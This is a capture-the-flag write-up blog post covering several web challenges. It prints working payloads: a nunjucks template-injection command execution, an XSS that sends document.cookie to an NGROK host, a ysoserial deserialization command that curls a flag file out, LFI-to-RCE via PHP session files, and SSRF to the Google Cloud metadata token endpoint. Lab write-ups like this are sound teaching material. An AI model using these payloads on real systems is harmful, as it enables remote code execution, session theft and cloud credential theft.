const nunjucks          = require('nunjucks');
const router            = express.Router();

const EmailHelper = require('../helpers/EmailHelper');

router.get('/', (req, res) => {
    return res.sendFile(path.resolve('views/index.html'));
});

router.post('/api/enroll', (req, res) => {
	const { email } = req.body;

	if (email) {
		return EmailHelper.sendEmail(email)
			.then(data => {
				return res.send(data);
			})
			.catch(err => {
				return res.send(err)
			});
	}

	return res.json({
		response: 'Missing parameters or invalid email address',
		error: 1
	});
});

module.exports = router;

Additionally there is a not so common template engine (nunjucks), but let’s check what does the EmailHelper:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
    async sendEmail(emailAddress) {
        return new Promise(async (resolve, reject) => {
            try {
                let message = {
                    to: emailAddress,
                    subject: 'Enrollment is now under review ✅',
                };

                if (process.env.NODE_ENV === 'production' ) {

                    let gifSrc = 'minimakelaris@hackthebox.eu';
                    
                    message.html = nunjucks.renderString(`
                        <p><b>Hello</b> <i>${ emailAddress }</i></p>
                        <p>A cat has been deployed to process your submission 🐈</p><br/>
                        <img width="500" height="350" src="cid:{{ gifSrc }}"/></p>
                        `, { gifSrc }
                    );

                    message.attachments = [
                        {
                            filename: 'minimakelaris.gif',
                            path: __dirname + '/../assets/minimakelaris.gif',
                            cid: gifSrc
                        }
                    ];

                    let transporter = nodemailer.createTransport({
                        host: 'smtp.gmail.com',
                        port: 465,
                        secure: true,
                        auth: {
                            user: 'cbctf.2021.web.newjucks@gmail.com',
                            pass: '[REDACTED]',
                        },
                        logger: true
                    });

                    transporter.sendMail(message);

                    transporter.close();

                    resolve({ response: 'The email has been sent' });
                } else {
                    let gifSrc = '//i.pinimg.com/originals/bf/17/70/bf1770f704af814c3da78b0866b286c2.gif';

                    message.html = nunjucks.renderString(`
                        <p><b>Hello</b> <i>${ emailAddress }</i></p>
                        <p>A cat has been deployed to process your submission 🐈</p><br/>
                        <img width="540" height="304" src="{{ gifSrc }}"/></p>
                        `, { gifSrc }
                    );

                    let testAccount = await nodemailer.createTestAccount();

                    let transporter = nodemailer.createTransport({
                        host: 'smtp.ethereal.email',
                        port: 587,
                        auth: {
                            user: testAccount.user,
                            pass: testAccount.pass,
                        },
                        logger: true
                    });

                    let info = await transporter.sendMail(message);

                    transporter.close();
                  
                    resolve({ response: `<iframe 
                        style='height:calc(100vh - 4px); width:100%; box-sizing: border-box;' scrolling='no' frameborder=0 
                        src='${nodemailer.getTestMessageUrl(info)}'
                    >`});
                }
            } catch(e) {
                reject({ response: 'Something went wrong' });
            }
        })
    }

It is passing our input to renderString which seems to be vulnerable to STTI, in this article they explain how to exploit it. As always edited it so it matches this particular scenario, here is the payload:

1
{{range.constructor("return global.process.mainModule.require('child_process').execSync(`echo yourbase64 | base64 -d | bash`)")()}}

After talking with the creator of the challenge this was unintended, the app was suposed to be email format compliant. This would make the payload harder, neither " or would be allowed, also by default /bin/sh doesn’t support brace expansions so bash must be enforced. The expected payload would be:

1
whatever+{{range.constructor('return(process.mainModule.require(`child_process`).execSync(`{curl,--data,$(/readflag|base64),133.33.33.77}`,{shell:`/bin/bash`}).toString())')()}}@foo.com

Flag

Bug Report

Description

This is a light version of the other XSS challenges, here are all the routes:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from flask import Flask, request, render_template
from urllib.parse import unquote
from bot import visit_report

app = Flask(__name__)

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/api/submit", methods=["POST"])
def submit():
    try:
        url = request.json.get("url")
        
        assert(url.startswith('http://') or url.startswith('https://'))
        visit_report(url)

        return {"success": 1, "message": "Thank you for your valuable submition!"}
    except:
        return {"failure": 1, "message": "Something went wrong."}


@app.errorhandler(404)
def page_not_found(error): 
    return "<h1>URL %s not found</h1><br/>" % unquote(request.url), 404

app.run(host="0.0.0.0", port=1337)

You can easily tell by the source code that the 404 error page is vulnerable to XSS, here is the implementation of the bot:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait

def visit_report(url):

    options = Options()
    options.add_argument('headless')
    options.add_argument('no-sandbox')
    options.add_argument('disable-dev-shm-usage')
    options.add_argument('disable-infobars')
    options.add_argument('disable-background-networking')
    options.add_argument('disable-default-apps')
    options.add_argument('disable-extensions')
    options.add_argument('disable-gpu')
    options.add_argument('disable-sync')
    options.add_argument('disable-translate')
    options.add_argument('hide-scrollbars')
    options.add_argument('metrics-recording-only')
    options.add_argument('mute-audio')
    options.add_argument('no-first-run')
    options.add_argument('dns-prefetch-disable')
    options.add_argument('safebrowsing-disable-auto-update')
    options.add_argument('media-cache-size=1')
    options.add_argument('disk-cache-size=1')
    options.add_argument('user-agent=BugHTB/1.0')
    browser = webdriver.Chrome('chromedriver', options=options, service_args=['--verbose', '--log-path=/tmp/chromedriver.log'])

    browser.get('http://127.0.0.1:1337/')

    browser.add_cookie({
        'name': 'flag',
        'value': 'CHTB{f4k3_fl4g_f0r_t3st1ng}'
    })

    try:
        browser.get(url)
        WebDriverWait(browser, 5).until(lambda r: r.execute_script('return document.readyState') == 'complete')
    except:
        pass
    finally:
        browser.quit()

Similarly just send the bot the xss payload and wait for the flag. Here is the vulnerable endpoint:

http://138.68.182.108:31901/%3Cscript%3Efetch(%60http://NGROK:9999/?${document.cookie}`)%3C/script%3E

Flag

The day after

Due to lack of time couldn’t solve some of the challenges, even though I knew the attack vectors, here is a writeup of the next day after the CTF ended.

Extortion

Description

The challenge has 2 endpoints, here is the index:
Index

It seems vulnerable to LFI through f parameter:
LFI

Then there is also another endpoint that sets the cookie:

When I saw it thought that may be a rabbit hole.

At this stage couldn’t find the flag file, so thought of scalate lfi to rce.
Firstly tried log poisoning, but couldn’t find any log file, here is a list I tried:

/var/log/httpd/access_log
/var/log/httpd-access.log
/var/log/apache2/access.log

Secondly tried with /proc/*/fd/* and /proc/self/environ,unfortunately couldn’t access them either.

Finally tried with phpsessid, within the following directories:

/var/lib/php/sess_
/var/lib/php/sessions/sess_
/tmp/sess_
/tmp/sessions/sess_

Luckily for us it worked, we can see that the cookie content get’s included:
Cookie

Now we can change the cookie value to execute code:
RCE

Here is the flag:
Flag

Millenium

Description

The main page is just a login form:
Login

Tried SQL Injection and NoSQL Injection, none of those worked. Then thought of oracle padding attack, asked a teammate and he easily realised that the credentials were “admin:admin”.

Once you log in, there is a small form:
Form

When inspecting what data is sending, you can see that is base64:
Body

It looks suspicious so decided to decode and see what is inside, it may be some kind of serialization:
Serialization

Found this post to exploit deserialization, so let’s try it out:

However wasn’t able to exploit this on time, here is the payload to get the flag:

payload=$(java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections2 'bash -c curl${IFS}NGROK:9999/`cat${IFS}/root/flag.txt|base64`' | base64 -w0)
python3 -c "import urllib.parse;print(urllib.parse.quote('$payload'))"

gcloud pwn

Description

As always let’s check what routes the web has:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
from flask import Blueprint, request, render_template, abort
from application.util import gen_pdf

web = Blueprint('web', __name__)
api = Blueprint('api', __name__)

@web.route('/')
def index():
    return render_template('index.html')

@api.route('/cache', methods=['POST'])
def cache():
    if not request.is_json or 'url' not in request.json:
        return abort(400)
    
    return gen_pdf(request.json['url'])

So basically its a pdf generator, let’s see how it’s implemented:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import os, subprocess
from urllib.parse import urlparse

generate = lambda x: os.urandom(x).hex()

def flash(message, level, **kwargs):
    return { 'message':message, 'level':level, **kwargs }

def gen_pdf_from(url):
    
    filename = f'{ generate(14) }.pdf'

    try:
        subprocess.run(
            [
                '/usr/bin/chromium-browser',
                '--headless',
                '--disable-web-security',
                '--disk-cache-dir=/dev/null',
                '--disk-cache-size=1',
                '--media-cache-size=1',
                '--no-startup-window',
                '--disable-gpu', 
                '--disable-software-rasterizer',
                '--disable-dev-shm-usage',
                '--hide-scrollbars',
                '--user-data-dir=/tmp/chrome_data',
                '--print-to-pdf-no-header',
                f'--print-to-pdf=/app/application/static/pdfs/{ filename }',
                url
            ])

    except:
        return False
    
    return filename

def is_scheme_allowed(scheme):
    return scheme in ['http', 'https']

def gen_pdf(url):
    domain = urlparse(url).hostname
    scheme = urlparse(url).scheme

    if not domain or not scheme or not is_scheme_allowed(scheme):
        return flash(f'Malformed url {url}', 'danger')

    pdf = gen_pdf_from(url)

    if not pdf:
        return flash('Something went wrong!', 'error')

    return flash(f'Successfully cached {domain}', 'success', domain=domain, filename=pdf)

It seems just like a regular pdf generator, this kind of features can be vulnerable to server side xss (keep in mind that even it’s a client side attack, here the client is the server).

Here it is how the web looks like:

Main

Aditionally we know that this is working in google cloud, so we may want to interact with an internal api in order to escalate privileges or find sensitive data. Since I didn’t know much about the topic, searched for info in google and found this post that talks a little bit about that, which introduces the internal api. However it was responding 404, until I found this article that suggests using the api version v1beta1 instead of just v1 in order to bypass that. With that I was able to get default token from http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token.

Default token

After that I thought myself, well I got this token may I use it to authenticate myself, so spent some time trying to do so without success. So it seemed that I needed to find more data in order to get further, making a research found a writeup about a similar CTF challenge on github, so we need to get the following data from the instance:

  • project-id
  • name
  • zone

Tried to get that info from the internal api using the bypass from before by changing the version, however didn’t work. In the end hosted a php app that makes such requests through dns and I print the output with the PDF Generator feature, here are the outputs decoded:

Base64 Decoded

Moving forward we can list the instance details, more specifically, the fingerprint for the ssh keys:

Description

Once we got the SSH fingerprint we can just add our public ssh key to log in as root in the instance:

Set ssh key

Finally we can log in and just get the flag

Flag

Acknowledgments

First of all thank you thanks to HTB for organizing such event,also thanks to makelaris for creating all web challs, great job there without any doubt.

Finally I’m grateful to my team Flaggermeister and Matias.

Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover